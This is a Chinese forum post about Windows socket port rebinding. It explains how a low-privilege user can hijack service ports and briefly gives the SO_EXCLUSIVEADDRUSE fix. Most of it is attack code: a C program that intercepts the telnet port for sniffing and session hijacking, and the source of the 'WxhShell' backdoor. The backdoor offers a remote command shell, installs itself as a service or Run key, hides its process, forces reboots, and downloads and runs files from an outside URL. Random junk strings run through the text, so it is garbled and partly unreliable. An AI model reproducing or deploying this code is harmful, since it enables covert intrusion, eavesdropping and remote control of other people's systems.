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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j.= VZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W; P8=q  
fX^ <H_1$G  
  saddr.sin_family = AF_INET; :6:;Z qn  
8{^zXJi]m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  dtTQY  
xU6)~ae`JW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qkPvE;"  
=C gcRxng  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wxS.!9K  
>cpT_M&C,  
  这意味着什么?意味着可以进行如下的攻击: z.P<)[LUc  
IT!u4iH[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +" |?P  
{(Jbgsxm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #Ie/|  
aQzx^%B1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BE>^;`K  
td@I ;d2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3k3-Ts  
/Ps/m!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }Vjg>"  
@{n"/6t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @komb IK  
Rr A9@95+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .z0NMmz0z  
+&bJhX  
  #include rr~O6Db  
  #include L6<.>\^Z"  
  #include 40h  
  #include    8vR Q_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %dn!$[D@  
  int main() 7n}$|h5D  
  { lrQNl^K}=  
  WORD wVersionRequested; ?gYQE&M !  
  DWORD ret; *62Cf[a  
  WSADATA wsaData; EC;R^)  
  BOOL val; [/E|n[Bx  
  SOCKADDR_IN saddr; \D6 7J239E  
  SOCKADDR_IN scaddr; _Fe%Ek1Yy  
  int err; bbNN$-S|  
  SOCKET s; 1z IX $A  
  SOCKET sc; e\)r"!?H`  
  int caddsize; -A1@a= q  
  HANDLE mt; g A+p^`;[  
  DWORD tid;   Y.yiUf/Q  
  wVersionRequested = MAKEWORD( 2, 2 ); AdU0 sZ+&c  
  err = WSAStartup( wVersionRequested, &wsaData ); Y(mnGaVn  
  if ( err != 0 ) { x_L5NsO:  
  printf("error!WSAStartup failed!\n"); *3@ =XY7  
  return -1; (sDZ&R  
  } OKi}aQ2R*  
  saddr.sin_family = AF_INET; y$$|_ l@  
   S(2_s,J^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D*0[7:NSO  
TF_wT28AU2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "zE>+zRl  
  saddr.sin_port = htons(23); QzLE9   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) | -l9Z  
  { #|j8vmfn$e  
  printf("error!socket failed!\n"); @V}!elV  
  return -1; E|_J  
  } MZd?cS  
  val = TRUE; LS:^K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7H])2:)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3le$0f:O  
  { GD-L0kw5  
  printf("error!setsockopt failed!\n"); 9z#z9|hj)3  
  return -1; DMdVE P"m  
  } h~`^H9?M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u7nTk'#r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W*;r}!ro  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #=uV, dw  
mswAao<y&x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7?@ -|{  
  { QtHK`f>4#n  
  ret=GetLastError(); [zJ|61^  
  printf("error!bind failed!\n"); joA>-k04  
  return -1; lJvfgP-j  
  } qx5jaa3  
  listen(s,2); _s18^7  
  while(1) 4|/}~9/  
  { 8hV>Q  
  caddsize = sizeof(scaddr); \ gO!6  
  //接受连接请求 O>y*u8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2`^M OGYk  
  if(sc!=INVALID_SOCKET) !&adO,jN+=  
  { V7<w9MM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fnJx$PD~  
  if(mt==NULL) y$8S+N?>  
  { GLp~SeF#  
  printf("Thread Creat Failed!\n"); 1<G,0Lt  
  break; )vD:  
  } i~"lcgoO  
  } U! $/'Xi9  
  CloseHandle(mt); qDS~|<Y5  
  } |mQC-=6t;Y  
  closesocket(s); qm/#kPlM  
  WSACleanup(); (M# m BS  
  return 0; P"{yV?CNg  
  }   =d BK,/  
  DWORD WINAPI ClientThread(LPVOID lpParam) RF}R~m9]  
  { <:>[24LJ{  
  SOCKET ss = (SOCKET)lpParam; zDf96eK  
  SOCKET sc; zI= 9  
  unsigned char buf[4096]; Z&|Dp*Z  
  SOCKADDR_IN saddr; Df@b;-E  
  long num;  G){A&F  
  DWORD val; z2iWr  
  DWORD ret; .I Io   
  //如果是隐藏端口应用的话,可以在此处加一些判断 e}NB ,o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \E1CQP-  
  saddr.sin_family = AF_INET; =F% <W7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1* ?XI  
  saddr.sin_port = htons(23); 2)Q%lEm`SP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;TKsAU  
  { R8>17w.  
  printf("error!socket failed!\n"); X`C ozyYuD  
  return -1; ;w;+<Rd  
  } u p zBd]  
  val = 100; V]Kk =  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0DaKd<Scv  
  { I6i qC"BK  
  ret = GetLastError(); jZk dTiI  
  return -1; +h? Gps  
  } ky{@*fg.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =d$m@rc0r  
  { iU|X/>k?  
  ret = GetLastError(); )TcD-Jr  
  return -1; ^7Ebg5<  
  }  c`}YL4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J ql$ g  
  { =)%~QK {Y  
  printf("error!socket connect failed!\n"); 79 \SbB  
  closesocket(sc); ]P2Wa   
  closesocket(ss); F8J\#PW  
  return -1; [+!~RV_  
  } !jg< S>S5  
  while(1) f3*SIKi  
  { g*WY kv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *|,ye5"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %<>|cO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B$G9#G6pZ  
  num = recv(ss,buf,4096,0); h^f?rWD:nz  
  if(num>0) x|*m ok  
  send(sc,buf,num,0); ?NxaJ^  
  else if(num==0) Xc9NM1bp=  
  break; {>d\  
  num = recv(sc,buf,4096,0); :cA8[!  
  if(num>0) Hv*+HUc(:  
  send(ss,buf,num,0); ;73{n*a$  
  else if(num==0) `^ )oVs  
  break; v<ati c  
  } m'eM&1Ba  
  closesocket(ss); , _bG'Hmt  
  closesocket(sc); >&JS-j Fg  
  return 0 ; ^V"08  
  } i'`>YX  
r@CbhD  
qhmA)AWG>  
========================================================== ${tBu#$-d  
s,j=Kym%  
下边附上一个代码,,WXhSHELL L-|u=c-6  
7-}/{o*,5  
========================================================== NkxW*w%}l  
-+Z&O?pSH  
#include "stdafx.h" loD:4e1  
S Q`KR'E  
#include <stdio.h> Me-H'Mp~  
#include <string.h> xgIb4Y%  
#include <windows.h> eMjW^-RgE5  
#include <winsock2.h> lrmz'M'  
#include <winsvc.h> v{) *P.E  
#include <urlmon.h> <%"CQT6g %  
8Ib5  
#pragma comment (lib, "Ws2_32.lib") Aj+0R?9tG  
#pragma comment (lib, "urlmon.lib") : n\D  
#VuiY  
#define MAX_USER   100 // 最大客户端连接数 RCMO?CBe  
#define BUF_SOCK   200 // sock buffer ,ysn7Y{Y  
#define KEY_BUFF   255 // 输入 buffer oYX#VX  
7Pr5`#x#  
#define REBOOT     0   // 重启 :+ AqY(Gz  
#define SHUTDOWN   1   // 关机 ~Dj_N$_+9  
QKh vP>  
#define DEF_PORT   5000 // 监听端口 tj:>o#D  
O*1la/~m  
#define REG_LEN     16   // 注册表键长度 fn.}LeeS>  
#define SVC_LEN     80   // NT服务名长度 t7/a5x  
~t^'4"K*  
// 从dll定义API cK t8e^P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4K!@9+Mz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cC$E"m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `3vt.b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R-5e9vyS  
/&RS+By(i  
// wxhshell配置信息 XtIY8wsP  
struct WSCFG { ^oZD44$  
  int ws_port;         // 监听端口 KCfcEz  
  char ws_passstr[REG_LEN]; // 口令 $B@K  
  int ws_autoins;       // 安装标记, 1=yes 0=no A w)P%r  
  char ws_regname[REG_LEN]; // 注册表键名 "0{t~?ol  
  char ws_svcname[REG_LEN]; // 服务名 bAL!l\&2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A"T*uv|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (C hL$!x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CQ#%v%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5x}Or fDU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MU~nvs;:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FhMl+Ou  
zqb3<WP"  
}; WQ1*)h8,9  
~'/_q4  
// default Wxhshell configuration _pR7sNeV  
struct WSCFG wscfg={DEF_PORT, _"sFLe{  
    "xuhuanlingzhe", si|b>R&Z  
    1, 1 =9 Kwd  
    "Wxhshell", d=:&tOCg2  
    "Wxhshell", 0& ?/TSC  
            "WxhShell Service", g}'(V>(  
    "Wrsky Windows CmdShell Service", l}mzCIw%  
    "Please Input Your Password: ", N2`u ]*"0  
  1, D(Yq<%Q  
  "http://www.wrsky.com/wxhshell.exe", 3,{tGNl|  
  "Wxhshell.exe" /yL:_6c-  
    }; -W XZOdUjs  
] 73BJ  
// 消息定义模块 VTxLBFK;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hG.~[#[&6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _z \PVTT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ahm@ +/2  
char *msg_ws_ext="\n\rExit."; 2~SjRIpUw  
char *msg_ws_end="\n\rQuit."; j!QP>AM|`  
char *msg_ws_boot="\n\rReboot..."; vq*)2.  
char *msg_ws_poff="\n\rShutdown..."; Zk n1@a  
char *msg_ws_down="\n\rSave to "; >-YWq  
,a?$F1Z-  
char *msg_ws_err="\n\rErr!"; |%-:qk4rG  
char *msg_ws_ok="\n\rOK!"; oj~0zJI  
Y7 `i~K;  
char ExeFile[MAX_PATH]; S t0AV.N1  
int nUser = 0; ejC== Fkc  
HANDLE handles[MAX_USER]; X8=s k  
int OsIsNt; *27*&&=)H  
m' suAj0  
SERVICE_STATUS       serviceStatus; 6GtXM3qtS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qlfYX8edZ  
XxEKv=_bc  
// 函数声明 LVp*YOq7  
int Install(void); $@:z4S(  
int Uninstall(void); 7nL3+Pq  
int DownloadFile(char *sURL, SOCKET wsh); b<mxf\b  
int Boot(int flag); bol#[_~  
void HideProc(void); ]o\y(!  
int GetOsVer(void); x?MSHOia`P  
int Wxhshell(SOCKET wsl); y~pJ|E  
void TalkWithClient(void *cs); e6WKZ~ v o  
int CmdShell(SOCKET sock); zE\@x+k.  
int StartFromService(void); {9C+=v?  
int StartWxhshell(LPSTR lpCmdLine); O8% Y .SK  
>E`p@ e+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9K5[a^q|My  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @(H  
=~~Y@eX  
// 数据结构和表定义 RAW(lZ(  
SERVICE_TABLE_ENTRY DispatchTable[] = FUj4y 9X  
{ {^VvL'n  
{wscfg.ws_svcname, NTServiceMain}, L(i*v5?  
{NULL, NULL} TGe{NUO  
}; h_Cac@F0  
G(XI TL u*  
// 自我安装 '@<aS?@!t  
int Install(void) pu +"bq  
{ aPMqJ#fIr  
  char svExeFile[MAX_PATH]; s`:-6{E  
  HKEY key; |4s`;4c&  
  strcpy(svExeFile,ExeFile); +]%d'h  
px1{=~V/  
// 如果是win9x系统,修改注册表设为自启动 "' hc)58y  
if(!OsIsNt) { H#B~ h4#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RuHMD"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9(( QSX  
  RegCloseKey(key); x\Det$3Kx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r{gJ[%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4(f4 4' ^  
  RegCloseKey(key); S@a#,,\[  
  return 0; 5B'};AQ  
    } yprf `D>  
  } tj_+0J$sw:  
} &[hq !v  
else { &k+'TcWm  
6n.W5 1g(s  
// 如果是NT以上系统,安装为系统服务 *M_Gu{xc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t3)nG8> )  
if (schSCManager!=0) j&. MT@  
{ 0?",dTf3i  
  SC_HANDLE schService = CreateService wcT0XXh  
  ( {^xp?zpV  
  schSCManager, =-c"~4  
  wscfg.ws_svcname, >}*i Qq  
  wscfg.ws_svcdisp, 6/Coi,om  
  SERVICE_ALL_ACCESS, &1DU]|RoT&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5Q.bwl:  
  SERVICE_AUTO_START, FN&.PdRT  
  SERVICE_ERROR_NORMAL, U>z8gdzu  
  svExeFile, EQkv&k5X  
  NULL, I =t{ u;  
  NULL, VR/>V7*7@  
  NULL, f-?00*T  
  NULL, i[~oMwc&  
  NULL i`^`^Ka  
  ); #qk A*WP  
  if (schService!=0) XQu~/{A=  
  { DdTTWp/  
  CloseServiceHandle(schService); O7shY4Sr  
  CloseServiceHandle(schSCManager); Uu9\;f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7mSVL\\^  
  strcat(svExeFile,wscfg.ws_svcname); (L?fYSP!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f!~gfnn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y" s1z<?  
  RegCloseKey(key); bGvALz'  
  return 0; GQTMQXn(  
    } 8Hf!@p6R+  
  } xD;5z`A3  
  CloseServiceHandle(schSCManager); Zi=Nr3b  
} ;%Jw9G\h  
}  b]s*z<|%  
#5kQn>R  
return 1; m9UI3fBX  
} (z0S5#g ,x  
c<j2wKz  
// 自我卸载 /a\6&Eb  
int Uninstall(void) A e&t#,)  
{ h#?L6<*tm  
  HKEY key; ?9_<LE q  
@eN x:}  
if(!OsIsNt) { 0hXI1@8]`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZD] ^Y}  
  RegDeleteValue(key,wscfg.ws_regname); T^8t<S@`  
  RegCloseKey(key); ?yF)tF+<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BhkJ >4#  
  RegDeleteValue(key,wscfg.ws_regname); Au$|@  
  RegCloseKey(key); vBUx )l  
  return 0; `'[u%UE  
  } p6]4YGw*^  
} NIeT.!  
} + ?n81|7`  
else { Uu{I4ls6B  
etj8M y6=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U7.3`qd"  
if (schSCManager!=0) >v@R]9  
{ rl9YB %P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m]BxGwT=m  
  if (schService!=0) gvO}u2.:  
  { 5bX SN$7|  
  if(DeleteService(schService)!=0) { /c~z(wv  
  CloseServiceHandle(schService); NyI0 []z  
  CloseServiceHandle(schSCManager); 9D:p~_"g  
  return 0; y]aV7 `]  
  } kt.z,<w5O  
  CloseServiceHandle(schService); Ln0rm9FV-  
  } D(D:/L8T,  
  CloseServiceHandle(schSCManager); );V6YE  
} 7y:%^sl  
} 9D++SU2 :}  
XP<wHh  
return 1; i ~fkjn  
} ulV)X/]1  
`me2Q  
// 从指定url下载文件 Io*`hA]  
int DownloadFile(char *sURL, SOCKET wsh)  y|U3  
{ Tw"u{%t  
  HRESULT hr; 9nlfb~ F~P  
char seps[]= "/"; 08{0i,Fs  
char *token; K O"U5v  
char *file; =4uL1[0'  
char myURL[MAX_PATH]; Mib(J+Il  
char myFILE[MAX_PATH]; %mPIr4$Pg  
'9%72yG  
strcpy(myURL,sURL); R)d1]k8  
  token=strtok(myURL,seps); ,j^ /~  
  while(token!=NULL) "S.5_@?  
  { | ?3\xw  
    file=token; Mfe/(tlI  
  token=strtok(NULL,seps); Ehu^_HZ  
  } nIJ2*QJ  
bB@1tp0+  
GetCurrentDirectory(MAX_PATH,myFILE); :}}5TJwG  
strcat(myFILE, "\\"); I~?D^   
strcat(myFILE, file); sL|*0,#K  
  send(wsh,myFILE,strlen(myFILE),0); 7N,E%$QL  
send(wsh,"...",3,0); B)g7MG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); js)M c*]&  
  if(hr==S_OK) %719h>$  
return 0; -jdS8n4  
else L\}o(P(  
return 1; 0]=|3-n  
 -iWt~  
} z^+f3-Z  
U|. kAI*  
// 系统电源模块 Ecp]fUQK  
int Boot(int flag) Y~#m-y  
{ <7R\ #  
  HANDLE hToken; #qY`xH'>  
  TOKEN_PRIVILEGES tkp; ^JZ]?iny  
5xe} ljo  
  if(OsIsNt) { "n3r,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3:Q5dr+1_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8)HUo?/3  
    tkp.PrivilegeCount = 1; WG>Nm89  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $(B|$e^:(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z ^t6VFM  
if(flag==REBOOT) { ,Bax0p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F \6-s`(  
  return 0; !qk+>6~A,  
} F,+nj?i!  
else { 4\ R2\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b>SG5EqU@  
  return 0; -L&r2RF/  
} ci*rem  
  } F!.Z@y P  
  else { T1AD(r\W5  
if(flag==REBOOT) { ieuq9ah#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :b t;DJ@  
  return 0; 1) 7n (  
} vOIK6-   
else { "IQ' (^-P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1;8=,&  
  return 0; :Z)a&A9v  
} ;PM(q<@\  
} DmzK* O{  
'w//d $+G_  
return 1; ,F}\njL  
} \cJ?2^Eq  
I)7STzlMj.  
// win9x进程隐藏模块 LF6PKS  
void HideProc(void) IBfLb(I  
{ %-9?rOr  
b,C2(?hg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4-j3&(  
  if ( hKernel != NULL ) 2IMU &  
  { Vx'82CIC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U-^qVlw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }-`N^  
    FreeLibrary(hKernel); ?XCFR t,ol  
  } ki|KtKAu_9  
HrOq>CSR  
return; >qE f991SZ  
} j8Pqc]  
#BPJRNXd  
// 获取操作系统版本 GgT 5'e;N  
int GetOsVer(void) 9j94]w2v  
{ {"v~1W)  
  OSVERSIONINFO winfo; ^Pwtu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &,DZ0xA  
  GetVersionEx(&winfo); 2uSXC*Phz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nm#ISueh  
  return 1; ) |t;nK,  
  else 8NF93tqD6  
  return 0; `GDWy^-Q+!  
} 5& 2([  
{UeS_O>(  
// 客户端句柄模块 ^U q%-a  
int Wxhshell(SOCKET wsl) CJa`[;i0y  
{ cMU"SO  
  SOCKET wsh; cePe0\\  
  struct sockaddr_in client; ;OMR5KAz  
  DWORD myID; F>F2Yql&W  
']bw37_U,  
  while(nUser<MAX_USER) %~e+H|  
{ XJZ\ss  
  int nSize=sizeof(client); ?<;9=l\Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sj'Iz #  
  if(wsh==INVALID_SOCKET) return 1; K0aT(Rc e  
PtTL tiE~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V|{\8&  2  
if(handles[nUser]==0) ?W 6 :$  
  closesocket(wsh); \; voBU  
else Te6cw+6  
  nUser++; =vs]Kmm  
  } 0SV<Pl^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3<x1s2U  
$2E&~W %  
  return 0; 41v#|%\w  
} 1j*E/L  
y3 "+4e  
// 关闭 socket 5La' I7q  
void CloseIt(SOCKET wsh) ^qY?x7mx1  
{ eH_< <Xh!v  
closesocket(wsh); XfQK kol  
nUser--; J))U YJO  
ExitThread(0); fi~jT"_CI  
} ,W|cyQ  
$L4h'(s  
// 客户端请求句柄 *Y':raP  
void TalkWithClient(void *cs) gF>t+"+ x  
{ im3BQIPR  
4%$#   
  SOCKET wsh=(SOCKET)cs; it$w.v+W7V  
  char pwd[SVC_LEN]; )Drif\FF)  
  char cmd[KEY_BUFF]; +;ylld  
char chr[1]; I=pFGU  
int i,j; |s'5 ~+  
i7b^b>B|e  
  while (nUser < MAX_USER) { :w<Ga8\tZ  
|jB/d@RE  
if(wscfg.ws_passstr) { R=J5L36F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N(l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r3NdE~OAi  
  //ZeroMemory(pwd,KEY_BUFF); "x0/i?pqa  
      i=0; =[:pm)   
  while(i<SVC_LEN) { kQ`p\}7_  
:Vy*MPS5  
  // 设置超时 m%cwhH_B  
  fd_set FdRead; FL {$9o\@  
  struct timeval TimeOut; ?J@P0(M#  
  FD_ZERO(&FdRead); 7Ucq(,\./  
  FD_SET(wsh,&FdRead); &Nw[J5-"k  
  TimeOut.tv_sec=8; CjGQ  
  TimeOut.tv_usec=0; u[HamGxx$u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0V ZC7@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4(dgunP  
mpNS}n6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?_7iL?  
  pwd=chr[0]; &;naaV_2T  
  if(chr[0]==0xd || chr[0]==0xa) { TT oW>RP#  
  pwd=0; 1+#E|YWJ  
  break; N;v]ypak  
  } 9>@Vk vpY  
  i++; R2A#2{+H  
    } X4<Y5?&0  
{TZV^gT4  
  // 如果是非法用户,关闭 socket !;UoZ~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W]5Hc|!^^  
} w$Z%RF'p  
e^}@X[*'#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qP$)V3l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _fccZf(yC.  
@R Jr ~y0  
while(1) { mqtYny'  
&3OV|ly]  
  ZeroMemory(cmd,KEY_BUFF); "Hk7s+%  
SZUo RWx  
      // 自动支持客户端 telnet标准   =6 3tp 9  
  j=0; z%1& t4$  
  while(j<KEY_BUFF) { 0DFVB%JdI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D\| U_>  
  cmd[j]=chr[0]; v_Hy:O}R  
  if(chr[0]==0xa || chr[0]==0xd) { M0T z('~s  
  cmd[j]=0; h'+F'1=  
  break; 8#w%qij  
  } ME66BWg{  
  j++; <.2jQ#So  
    } lPD&Doa  
=ea.+  
  // 下载文件 L&d.&,CNs'  
  if(strstr(cmd,"http://")) { RT(ejkLZm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uu.}<VM.1  
  if(DownloadFile(cmd,wsh)) ~)VI` 36X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $AizKiV  
  else IL1iTR H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4hxa|f  
  } iuA_ Jr  
  else { K $WMrp  
((&5F!+\-  
    switch(cmd[0]) { CDPu(,^  
  +i#s |kKs\  
  // 帮助 }>EWF E`  
  case '?': { H:P7G_!\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r@}8TE*|P  
    break; FU(2,Vl  
  } gLRDd~H  
  // 安装 Omi/sKFMi  
  case 'i': { I9dX\w}  
    if(Install()) =ym<yI<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GKKDO+A=!  
    else ?\kuP ?\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U^eos;:s8  
    break; +* j8[sz  
    } ,"F0#5  
  // 卸载 =kf"%vFV  
  case 'r': { |MOz> 1<a  
    if(Uninstall()) \._|_+HiW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DN iH" 0%  
    else -L<FVB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -$X4RS  
    break; h#c7v !g  
    } )TEm1\  
  // 显示 wxhshell 所在路径 !??g:2  
  case 'p': { K9]zUe&#w  
    char svExeFile[MAX_PATH];  fZ&' _  
    strcpy(svExeFile,"\n\r"); &8Z .m,s]  
      strcat(svExeFile,ExeFile); E *IP#:R  
        send(wsh,svExeFile,strlen(svExeFile),0); 5^R?+<rd  
    break; X7[gfKGL)N  
    } $$uMu{?0i  
  // 重启 M%Ksyr9  
  case 'b': { vt n T   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CZ'm|^S  
    if(Boot(REBOOT)) I~6 o<HO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.-u'6e  
    else { 0qIg:+l+  
    closesocket(wsh); pp@B]We  
    ExitThread(0); Ni%@bU $  
    } ?20R\ ]U  
    break; $7ix(WL<%  
    } lD, ~%  
  // 关机 "vT$?IoEV  
  case 'd': { ?D6|~k i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^ g|VZN  
